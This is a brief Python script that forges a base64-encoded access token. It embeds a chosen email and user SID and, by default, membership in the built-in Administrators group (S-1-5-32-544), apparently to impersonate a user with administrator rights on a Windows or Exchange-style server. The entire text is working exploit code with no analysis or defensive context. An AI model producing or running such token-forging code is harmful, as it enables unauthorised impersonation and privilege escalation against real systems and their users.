import base64,struct,sys
def gen_token(email,sid,gsid='S-1-5-32-544'):
    raw=b''
    raw+=b'V'+(1).to_bytes(1,'little')+(0).to_bytes(1,'little')
    raw+=b'T'+(6).to_bytes(1,'little')+b'Windows'
    raw+=b'C'+(0).to_bytes(1,'little')
    raw+=b'A'+(8).to_bytes(1,'little')+b'Kerberos'
    raw+=b'L'+(len(email)).to_bytes(1,'little')+email.encode()
    raw+=b'U'+(len(sid)).to_bytes(1,'little')+sid.encode()
    raw+=b'G'+struct.pack('<II',1,7)+(len(gsid)).to_bytes(1,'little')+gsid.encode()
    raw+=b'E'+struct.pack('>I',0)
    return base64.b64encode(raw).decode()
print(gen_token(sys.argv[1],sys.argv[2]))
